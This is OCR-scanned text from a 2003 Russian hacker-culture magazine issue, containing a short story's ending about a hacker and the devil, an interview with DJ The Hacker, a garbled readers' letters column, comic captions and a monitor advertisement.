стереть число и вместо него набрать дру- 
гое - половину от первого плюс один. Вы 
же знаете - БОЛЬШЕ ПОЛОВИНЫ - НЕЛЬЗЯ... 

- Почему нельзя? - спросил Шин. - Уже 
МОЖНО. 

Фигура в плаще вздрогнула. Хайнц, 
раскрыв рот, смотрел на Шина. 

- То есть как? - нерешительно переспро- 
сил Гринберг. 

- Ну... Вот так, - пожал плечами Шин. - Я 
немного похозяйничал в условиях обра- 
ботки... 

- Где? - спросил «маэстро». 

- Вспоминая недавние слова Хайнца, - 
осмелев, сказал Шин, - спрошу прямо - a 
надо ли вам это знать? 

Гринберг напрягся - так, словно он ожи- 
дал от «маэстро» какой-то жуткой реакции 
на дерзость. 

- Согласен, - спустя длинную-длинную 
секунду кивнул человек в плаще. - То есть 
теперь я могу - ВСЕ? 

Хайнц, не веря самому себе, кивнул. 
«Маэстро» медленно протянул руку к 
«мышке», довольно неуверенно (чувство- 
валось отсутствие опыта) подвел ее к 
нужной ячейке таблицы и установил в ней 
курсор. Потом указательным пальцем ак- 
куратно ткнул в «Delete» и очистил строку 
от содержимого. 

Нависла гнетущая тишина. Шин вдруг ус- 
лышал шевеление губ Хайнца, скосил на 
него глаза и прочитал по губам: «Ноль... 
Ноль...» 

И, словно услышав его, гость отрица- 
тельно покачал головой. 

- Яеще не готов. Не так. Не сразу. Дай 
ему Книгу, Хайнц. 

Гринберг открыл свою папку, не отрывая 
глаз от рук «маэстро». На свет появился 
еще один черный томик в точно таком же 
оформлении. Демо, лежащее на столе, са- 
мо собой истаяло в воздухе. Шин взял в 
руки вознаграждение. 

- Что-нибудь будет происходить? - спро- 
сил он у всех сразу. 

- Да, - коротко бросил «маэстро» и ткнул 
пальцем сначала в цифру «5», потом в 
«Enter». Таблица молча приняла изменение. 

Хайнц простонал еле слышно: «Еще пять 
лет...». Черный плащ взметнулся с кресла. 

- Нам пора, - спокойно произнес гость; 
Гринберг кивнул, соглашаясь. - В одном 
Хайнц был прав - ценность информации и 
размер вознаграждения очень часто несо- 
измеримы, ибо отправные точки у хакера и 
заказчика разные... У меня есть для вас Og- 
но пожелание, юноша, - научитесь ВОВРЕ- 
МЯ ОСТАНАВЛИВАТЬСЯ... 

- Запомните эти слова на всю жизнь, - 
громко шепнул Гринберг. - Их вам сказал 


сам Люцифер... 

Еще раз взметнулась пола черного пла- 
ща - иих не стало. Шин смотрел прямо пе- 
ред собой, продолжая слышать последние 
слова «маэстро»: 

- Научитесь вовремя останавливаться... 

На экране осталась открытой таблица, ра- 
ди которой все совершилось. Вернувшись 
в кресло, Шин положил Книгу на стол пе- 
ред собой и уставился на ту самую строчку, 
в которой произвел изменения «маэстро». 
Что все это значило? За что он получил та- 
кой царский подарок? При чем здесь Лю- 
цифер? 

- Вы хотите узнать правду? 

Шин грязно, не стесняясь никого и ниче- 
го, выругался, потом крутнулся в кресле и 
спросил в лицо девушку с «крокодиловой» 
папочкой: 

- Мать вашу, вы сговорились все - за спи- 
ной прятаться? Вы что, в окна залезаете? 

- «Вы»? Он снова был здесь? 

- Нуичто? 

- Он был один? 

- С каким-то «маэстро», - Шину так и хоте- 
лось сказать что-нибудь дерзкое этой вы- 
зывающе красивой девице. - Дэвиды Kon- 
перфильды, mother fucker! 

Девушка присела на диван - несколько 
быстрее, чем это сделал бы Шин. Склады- 
валось впечатление, что известие Шина 
подкосило ее. 

- Что вы сделали? 

- Я выполнил задание. В конце концов, 
это моя работа. 

Девушка покачала головой - укоризнен- 
но, разочарованно. 

- Вы только что помогли дьяволу списать 
половину срока его наказания... - сказала 
она. - Наверное, думаете, что раз число там 
было большое, то на ваш век хватит... 

- Больше половины, - внезапно охрип- 
шим голосом произнес Шин. 

- „.Думаете, что все... ЧТО? 

- Больше... Намного больше. 

Девушка поднялась, опираясь на подло- 
котник. В ее глазах застыл ужас - глаза 
просто светились им, излучали его. 

- Сколько... осталось? 

Проглотив вязкий комок, вставший в гор- 
ле, Шин с трудом выдавил из себя: 

- Пять... Пять лет. Но я могу исправить... 

- Не можешь. - покачала головой девушка. 
- Была предусмотрена всего одна возмож- 
ность для исправления. Больше не получится. 

- Но... У меня ведь получилось. Я сумел 
изменить условие на значение! 

- Эх, ты... - девушка махнула ему рукой. 
Взяла с дивана папочку, вышла в коридор, 
снова оставляя в ковровой дорожке ма- 
ленькие круглые следы от каблуков-шпи- 
лек, молча открыла дверь... Замок щелк- 
нул. Она ушла. 

Шин повернулся лицом к монитору. Он 
был настроен крайне решительно. 

Первые попытки не принесли желаемого 
результата, но он не отчаивался. Впереди у 
него было целых пять лет. 

А перед ним на столе лежала черная Кни- 
га с ответами на все вопросы. Самая беспо- 
лезная книга в мире... 
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bl зависали всем 
составом Spez-Crew 
в редакции и, как 
всегда, резались в 
контру, когда мой 
мобильник завопил, 
подавившисв CMC'Kon. В месаге 
говорилось, что на неделе в 
Москву приезжает некто DJ The 
Наскег и что он должен отыграть 
двухчасовой сет в 4]-кафе MUO. 
Естественно, нам стало интерес- 
но, что это за черт такой - The 
Hacker? Кто-то из ре7-бандитов 
быстро загрузил Mozill'y и, поко- 
выряв Яндекс, выяснил, что The 
Hacker, он же Мишель Amato - go- 
вольно крутой сфранцузский DJ, 
играющий в основном зубодро- 
бильное жесткое техно. В общем, 
стало понятно, что чувак нам под- 
ходит: зовется хакером, играет 
нормальную музыку - чего еще 
надо? Решили взять интервью :). 
К МИО мы подъехали за два часа 
go приезда Мишеля, но на танцпо- 
ле играла задорная музыка, а так- 
же был бар с большими запасами 
пыва и всего остального ;), так что 
зевать от скуки не приходилось. 
Все это время мы занимались тем, 
что активно предполагали, каким 
может оказаться DJ, называющий 
себя хакером: тау Бе это какой- 
нибудь киберпанк, вылезший на 
танцпол из просторов инета, или 
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просто чел, который прется от 
компов и всего, что с ними связа- 
но? Короче, нас волновал вопрос 
- почему The Hacker. А меня еще 
волновал другой вопрос - о чем 
говорить с Мишелем, если ока- 
жется, что он не имеет к компам 
вообще никакого отношения? Но 
подумав немного, я расслабился: 
это же в Relax пойдет, значит 
можно не парится и просто пооб- 
щаться о том, о сем, о музыке, о 
клубах и о тетках :). 

Тре Наскег опоздал минут на 
двадцать и прямо с порога полез 
за вертушки. Безумство нача- 
лось. Скажу сразу, сет был опу- 
пительный! Своими звуками Ми- 
шель зарубил всех чуваков на 
танцполе в сплошной фарш, а 
потом начал выдавливать из не- 
го здоровенные батоны колбасы 
:). Люди тащились и колбасились 
с удовольствием. И хотя The 
Hacker ставил ни коим образом 
не колбасную музыку, а жесткое 
техно, предыдущая фраза наибо- 
лее точно описывает то, что тво- 
рилось 14 марта в 49]-кафе MUO 
примерно с 2:00 и до 4:00. Когда 
народ окончательно уколбасился 
в мясо, Мишель покинул DJ'cKun 
пульт, отыграв примерно на час 
больше, чем должен был (значит, 
самому понравилось ;)). Тут-то 


мы его и настигли: 


$: Самый первый вопрос: почему 
The Hacker? 

H: Это было очень давно. Tak назы- 
вался трек на пластинке одного из 
моих самых любимых музыкантов, и 
когда я взял эту пластинку, я поду- 
мал: The Hacker - классно звучит, это 
то самое оно! 


$: Ага, значит ты никакой не хакер 
и к компьютерам отношения не име- 
ешь, так? 

H: Точно, никакого. 


$: А ты вообще юзаешь комп на ра- 
боте или там дома? 

Н: Да, я использую комп дома для е- 
плай и на работе - для музыки. Но это 
все, Интернет я не хакаю (улыбается). 


$: А что ты имеешь в виду, "на ра- 
боте - для музыки"? Расскажи по- 
подробнее. 

Н:Я использую компьютер gna све- 
дения в секвенсоре Cubase. 


$: И что это за тачка: PC, Мас или, 
может быть, что-то еще? 
H: Это очень старый компьютер - Atari. 


$: О! Атари! Круто! Это реальная 
машина! 

Н: Да-да! Я использую PC для почты, 
а для музыки старый-старый Атари. 


$: ОК, а как часто тебя можно зас- 
тать в онлайне? 
Н: Застать где? 


$: В онлайне. Ну, в инете, короче. В 
аське или в чате каком-нибудь... 

Н: 33339... Hea, не так часто... Реаль- 
но я проверяю только почту. А в ча- 
ты всякие не хожу. Ну, очень редко. 
Почти никогда. Очень-очень редко, 

короче. 


$: В твоей музыке я уловил некото- 
рые киберпанковские мотивы. Ты 
вообще как, считаешь себя частью 
киберпанк-культуры? 

H: Это зависит от того, что ты подразу- 
меваешь под культурой киберпанка. 


Вообще-то я об этом не думал никог- 
да... Что ты называешь киберпанком? 


$: Ну, ты понимаешь, я имею в ви- 
gy... ммм... цифровую музыку, эээ, 
цифровое звучание. О! Цифровых 
людей я имею в виду! Digital people. 
H: Я не уверен, можно ли сказать, 
что я реально в киберпанковской 
культуре. Честно, я не знаю. Если же 
говорить о музыке, то я использую 
очень много аналогового стафра. 


S: Ок. Как тебе Москва? 

H: Я скажу тебе завтра (улыбается). 
Я только что из аэропорта! Мой рейс 
задержали, и я прямо с самолета по- 
ехал сюда и сразу встал за вертуш- 
ки. Завтра я обязательно посмотрю 
город. А вообще я рад, что я здесь, 
тем более что я тут в первый раз. 


$: Ты когда-нибудь слышал что-ни- 
будь о русских хакерах? 

Н: Ты имеешь в виду техно и стаф 
вроде того? 


S: Нет! Я имею в виду компьютер- 
ные преступления! 
Н: Компьютерные что? 


$: Компьютерные преступления. 
Н: Преступления?! (смеется) Нет, не 
слышал... А что за фигня? 


$: Ну, например, никогда не слы- 
шал истории о том, как молодые 
перцы взламывают сети и крадут 
пароли? 

Н: Я про это мало чего знаю, но дога- 
дываюсь, что такое происходит в 
каждой стране. А что, здесь это как- 
то особо выражено? Я ничего похо- 
жего не слышал, вроде. 


S: Понятно. Еще один компьютер- 
ный вопрос: какую операционную 
систему ты используешь? 

H: Windows! 


$: И как она тебе? 
H: Она ок. Очень простая. Меня пол- 
ностью устраивает. 


RELAX/DJ THE HACKER В МОСКВЕ 


oT 
> 


$: Хорошо, а что ты думаешь по по- 
воду использования компьютеров в 
музыке? 

Н: Я думаю - это клево. Для меня са- 
мый лучший вариант - это компью- 
тер, синтезатор плюс драм-машина. 
Мне не нравится, когда куча людей 
делают музыку только на компьюте- 
ре. Она звучит не плохо, и это 
чувствуется. На компьютере нельзя 
получить тот звук, который выдают 
специальные машинки. Зато на 
компьютере очень удобно сводить. 


$: Вопрос, который волнует многих 
хакеров: как ты думаешь, должна 
ли информация распространяться 
свободно? 

H: Bay! Это сложный вопрос! Я пола- 
гаю, что с Интернетом доступ к лю- 
бой информации сильно облегчает- 
ся. Когда ты смотришь TV, информа- 
ция может быть искажена телекана- 
лом, который ты смотришь. Напри- 
мер, СММ сильно отличается от 
офранцузского TV. Все это не очень 
объективно. Интернет - клевая штука 
для получения достоверной инфор- 
мации. 


$: А это хорошо, использовать сети 
типа Napster для обмена, скажем, 
тр3З-файлами? 

Н: Да-да, я понял, что ты хочешь ска- 
зать. У меня с этим все в порядке! Я 
имею в виду, что с этим все равно 
ничего не поделаешь. Я знаю, что ку- 
ча моей музыки была в Napster'pe, 
затем в Kazaa, но для меня это ОК. Я 
знаю, что некоторые люди не могут 
найти или купить мои записи и они 
качают их из сети, но меня это не 
беспокоит. Это даже круто. Я сам то- 
же этим пользуюсь (смеется). 


$: Ок, Мишель, это все. Спасибо за 
интервью! Надеюсь увидеть тебя 
еще! 

H: Спасибо! Я тоже рад был познако- 
МИТЬСЯ. 
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Fram: ICE-2 CICE-D@mail.ru) Привет всем! 


В обычный полуденный день я играл в "Project IG! 2 - Covert Strike” чем то 
меня перекантачило и я залез в Инет. Набираю ручками > хакер.ги 

Enter. "Уоу” - сказал я себе, новый Спецхакер вышел, надо бы купить. Че- 
рез 2-ва часа я был дома, читал Спец и пил пиво. Сразу же открыл рубрику ”Е-тай" смотрю я, и вижу одни положитель- 
:ые комменты стоят. Вам только хорошее пиплы пишут что ли? Вы хоть обычный хакер открываете, там такого, что вам 
и не снилось в страшном сне. Я так и не понимаю, в каждом номере пишут "Давай взлом!" "Ломать хотим”. Если вам нуж- 
10 статьи про взлом то читай 
Просто хакер а не SPEccc и 
:е могучайся. Я читаю Хакер eu) Пип-пип-пип! овское время - ноль часов, ноль ми- 
около 2-ух лет, но Спец начал mailru) HYT, в эфире очередная информационно-издевательс- 
только с WebDizaina. Ты ко- кая программа ЙеМейл. В очередной раз хочу сказать - 
ечно Дронич будешь изде- нам пишут много ХОРОШИХ писем. Плохие бывают, но номер на номер не приходится - в прошлый 
ваться над моим письмом как раз никто так и не успел написать про то, как неудобно читать черный текст на темно-сером. Собо- 
1 над всеми, я на тебя не в лезную всем поломавшим зрение - виновники наказаны кастрацией через веб в исполнении Доб- 


Subj: Комментаруи к номеру 


обиде, ты же за это деньги рянского, небелые подтексты истреблены как класс. И вообще, мы растем и модифицируемся с 
получаешь. Ты конечно мо- аждым номером, я думаю, ты это уже оценил :). Так что счастливого гаманья тебе, Ледяной-Д. 
жешь не опубликовать пись- 

о, но причитать Обязан ЗЫ Дронич заправил текст письма в зарплатный автомат, тот пожужжал несколько секунд и выдал 
Р.$. Читай Xak’e'p вердикт - "Издевательств не обнаружено, штраф 50 долларов”. Дронич плюнул на чистый пол и по- 


шел одалживать денег у доброго Донора. А вслед ему полетел белоснежный чек "Несоблюдение 
чистоты - штраф 50 долларов”... 


я Здравствуйте 
Fram: Den (schumacher@albatros.uz) Извините за беспокойство, у меня к Вам есть не- 
Subj: SOS большой вопрос 

Ко мне пришло одно письмо. Мне очень нужно уста- 
новить из какой страны, а лучше города, ну или хотя бы континента оно было выслано (это либо Россия, 
либо США). Это письмо сейчас сохранено на моем харде, оно пришло с hotmail.com. Или может быть 
Вы посоветуете, как это можно сделать, может программки какие есть и, что для этого нужно делать. 
Это очень важно, помо- 
гите плиз. 
Еще раз извините я 
просто не знаю кто мне 
может помочь, мой пров, 
гад отказывается, гово- 


. Ден, хорош меня трясти! Что, день рождения уже 
eS Se ЩЕ ЕТОСЕАТЕЯ кончился? Какие нахрен письма? А, письма! ОК, 
ОК... Напрягли мозги, будем помогать... Иккк... 
Спокойно, сейчас попробую вставить скрин... Ой, кривовато получилось, ну да и хрен с ним... 


рит установить никак Короче, если ты в Bate или Аутлуке найдешь заветный пункт "Показывать заголовки”, то уви- 
нельзя. дишь и служебную часть 
Заранее благодарен. письма, где отмечается a 
Denis ажлый  промежуточны i? 
почтовый сервак (при фор- Вы — 
Bape, к примеру). Там 1 Lees 1 be tl 
ei le HUI ao SEL ee —_ ot 
es -fhtem- ERI =a с аи 
негодяя, а по нему узнать № tim a = 
страну и город Ha любом Te ce ae — 
whoiS-CepBuce. Хотя хит- Взиный =r = _ ба = 
рые спамеры научились ewes tenes —= ayes | рн 
прятать и спуфить АЙПиш- agp tee Ей ee a ce Ome 
ники, так что стопроцент- BESS стврьв-я Weeks Баба. — 
ной гарантии я тебе не нее es Se, звыа ot 
| ры Se ss 6 а meee pa не 
дам. А вот paccony, к при- Hees bers Bam 
меру, не пожалею... Не же- рвы вая нет пеши 
Я b давит | 
TAG TIB fas =a im & Si 
Ee Te ie ee о мы 
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= eee г Дорова, Спеццы! 
From: ebdS1S37%@hotbox.ru Читаю ваш спец уже довольно давно и вот какую интересную | 
Subj: это... вот чего а тут подумал... | тенденцию я подмечаю: вы все больше становитесь похожими | 
на обычный ][, но только немного проапгрейденный. У вас есть 
именно то, что не хватает обычному J[ - тематической направленности. Там статьи о компьютерном мире вооб 
ще, ау вас конкретно о чем-то + что-то не по теме. 
Таким как вы, я считаю, должен быть именно Х (имхо вы как раз приблизились к идеалу... Но не для вас, а для 
обычного J[ ;)), а BOT вам бы имхо следовало бы все же вернуться к старой схеме, когда все статьи в номере бы 
ли посвящены чему-то одному... 
Хотя два ][ (вы же почти не отличаетесь по тематике содержания, если посмотреть ;). Только вот обзоры хард: 
вара куда-то дели... Ну да и ладно :)) в месяц - тоже неплохо :). Ато как-то вы (оба) уж больно быстро прочить 
ваетесь... 
Дальше... Всвязи с обилием рассматриваемого софта было бы неплохо зае... забабахать компакт со всем 
этим, и не только этим... Атак же, в связи с новой рубрикой железных новостей было бы неплохо прикладывать 
ми железки к журналу... Hy а т.к. рекламы в журнале тоже хоть отбавляй, то неплохо было бы еще и образ- 
родукции так же пр вать... А то что это такое: картинки есть, а стаффа нет. Бардак. Особенно было 
плохо увидеть приложенными к журналу образцы со страниц рекламы е-$Пор-а. 
ся, и все, что я хотел сказать... 
. Лаже больше, чем я хотел пона- 
ть. Ведь сказать-то я поначалу хо- 
первую мысль. А потом понесло... 
... И занесло... И вынесло. Нога- 
‚ Головой взад. Руки на ширине 
согнуты в локтях. 
Оз». 


пеЦЦыки! 


1Ч5ЦХ1-аза 


Заг-заг, Элитный Ебдь! 

T@hatbox.ru Ты походу телепат, или что-то вроде того, 

ибо твое дурное влияние распространи- 

лось на всю крю за несколько мгновений. 

Сначала Ноа взял, да и вырвал из макета все постоянные рубрики, не связан- 
ные с темой номера (причем после эпохального вырывания он долго пинал их 
по Петровке, распугивая заспанных гайцов криками "Пшли BOH!"). Потом Де- 
нис сказал: "Чуваааки, я тут ночью новый дизайн намастырил! и тут же загнал в 
него все свежие материалы. Наконец, Добрянский, почуяв весну, замутил такой 
железный беспредел, что остановить его теперь не удасться... И только мы с 
Донором стояли среди этого кошмара, придумывая, чем бы набить свежий 
диск к Спецу... Аты говоришь - тенденции”... 
ЗЫ Кстати, специально для тебя весь следующий тираж будет укомплектован 
высококачественным образцом железки. Швеллер, 518 грамм веса, сталь, 
ржавчина.. 


ЗДРСТ, вечно прикольный Спец! 
рикольно ВЫ разыграли всех... Типа - Бета-тестеры... ;) 
у ни как не дойдет до народа, что халява+Россия=неп- 
равда. ;) 
Раздавать на халяву никто ничего не будету нас, разве только, если спонсор забошляет ;). 
Да... И самое главное... Не знаю как другие, но меня это аниме достало просто. Всюду эти китайцы с 
комплексом - большие глаза... 
Даже в журналах. Давай народу 7 
ЗАИЦА! и ЕЕ my Ио! [далее читать рэпом] 
Или на худой конец - чудом уце- Ta. Re Staliseh Palin| are Что за флейм, мазафака, ты нам развел? 
м IV т, о ы To: DrYolKish (plgs@yandex.ru) Мы не мутили ао. прикол, 
З.Ы. Про богатыря - это просто многим читателям так повезло - по- 
бред, а заяц - COOL!!! везут им Спец и в город и в село. Если же ты не веришь B XANABY - сваливай резко вту- 
ман, разява! 
999999... Ну вот попустило меня наконец :). Акция с бета-тестерами действительно не 
прикол, многие уже записались и ждут своей участи (набор-то ограничен). А про ки- 
тайцев не гони - у нашего Грифа глаза на месте, причем аномального размера (не 
случайно его часто путают с его же рисунками). А Гайка будет жить. Стопудово, мафа- 
кааа, аха-аха! 


Fram: Ок Yolkish (plas@yandex.ru) 
Subj: Анимэ мы не пониме ;) 


Привет, спецам! Как-то не честно у вас получается. Журнал за 
март 3(28) 2003 пришел только 29 числа, открываю - опа, бе- 
та-тестеры, опа, набор ограничен :( 
-де, как же можно успеть, если журнал приходить с больши 
запозданием. В магазинах в начале месяца свежий номерок С-[акера (супер?:)), а по почте в конце :( Я спещ 
ально подписывался, думал быстрей будет, а нет. 
Ну, да ладно, хватит о своем, теперь о вас. Серия по вебу просто-просто нету слов, как вовремя появилась. В век 
тотальной |-пЕ.изации иметь свой \\еб-портал стало не мечтой, а реальностью, и вы в этом помогаете. Молод 
цы, ребята, стараетесь. Но не все так гладко. В ver. ОЗ Спеца текст в рубрике Cover Story не удобно читать, т.к. ва 
бэкграунд в горошек мешает (долой горох со страниц журнала!). Зато новая рубрика "Spezial Delivery” в аккурат 

писывается в ваш журнал. News жизненно необходимы в наш век. А вот в новом комиксеЕ(?) зайка у вас страш- 
енький получился :) Ну ни 


че, можно пережить. | Bre Фэй-Чан-Дао, Джектор! 

| 'адно, заканчиваю : То: Jector Gector Ты часом каннибалу-Ганнибалу не родственик? 

| Удачных вам выпусков Если так, то тогла мы тебя вне очереди возьмем в 

еньше спама в ваш ALL тестеры - нам психи маньячные страсть как нужны. Иначе сорри - фак да почта форева... 

| 3.5. не трогайте Мио, Про горох я вроде уже написал - не будет его больше (OT него помимо неудобств чтения случа- 

есто однозначно в спеце. лись и другие неудобства... мда...). Ниро мы не просто не трогаем - мы его холим и лелеем, а 
также бережем, как зеницу ока и кормим с ладошки. Зайка совсем не старшный, ты просто его 
вверх ногами смотрел, наверно :). Так что удачи тебе на дорогах, и не путай теплое с мягким. 


From: Jector Gjectar@stsland.ru) 
Subj: It\'s not fairly 
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Дневник Лабораторного Хайки 
Побег 


Я СПАСУ ТЕБЯ! 


ОН ТАКОЙ МАЛЕНЬКИЙ 
№... И НЕСЧАСТНЫЙ 


ВЕБ-ТУЛЗЫ 


СЦЕНАРИЙ И РИСУНКИ 
GRIF (grif@real.xakep,ru)) 


БЕГИ, ПОКА ОНИ НИЧЕГО 
НЕ ОБНАРУЖИЛИ. 


И РАБУЙСЯ 
ЖИЗНИ! 


рее 
are 05(30) 2003 


Фут FLATRON', | 
freedom of mind : 
Digitally yours 


И все-таки OH вертится! 


FLATIRON" F?00P 


Абсолютно плоский экран 


4 D V; Размер точки 0,24 мм 
2 ‘ ; 7 Частота развертки 95 кГц 
ша ictoria Экранное разрешение 1600x1200 
(095) 252-2030, 252-2070 — 3В-интерфейс 


г.Москва: Атлантик Компьютерс (095) 240-2097; Банкос (095) 128-9022; Березка (095) 362-7840; ДЕЛ (095) 250-5536; Инкотрейд (095) 176-2873; Инфорсер (095) 747-3178; 
КИТ-компьютер (095) 777-6655; Компьютеры и офис (095) 918-1117; Компьютерный салон SMS (095) 956-1225; ЛИНК и К (095) 784-6618; НИКС (095) 974-3333; 
Сетевая Лаборатория (095) 784-6490; СКИД (095) 956-8426; Техмаркет Компьютерс (095) 363-9333; Ф-Центр (095) 472-6401; Flake (095) 236-9925; ISM Computers (095) 319-8175; 
OLDI (095) 105-0700; POLARIS (095) 755-5557; R-Style (095) 904-1001; г.Архангельск: Северная Корона (8182) 653-525; г.Волгоград: Техком (8442) 975-937; 
г.Воронеж: Сани (0732) 733-222, 742-148; г.Иркутск: Комтек (3952) 258-338; г.Липецк: Регард-тур (0742) 485-285; г.Тюмень: ИНЭКС-Техника (3452) 390-036. 


а SyncMaster 


цифровой эры 


WEB -> ВЕБ-ТУЛЗЫ 


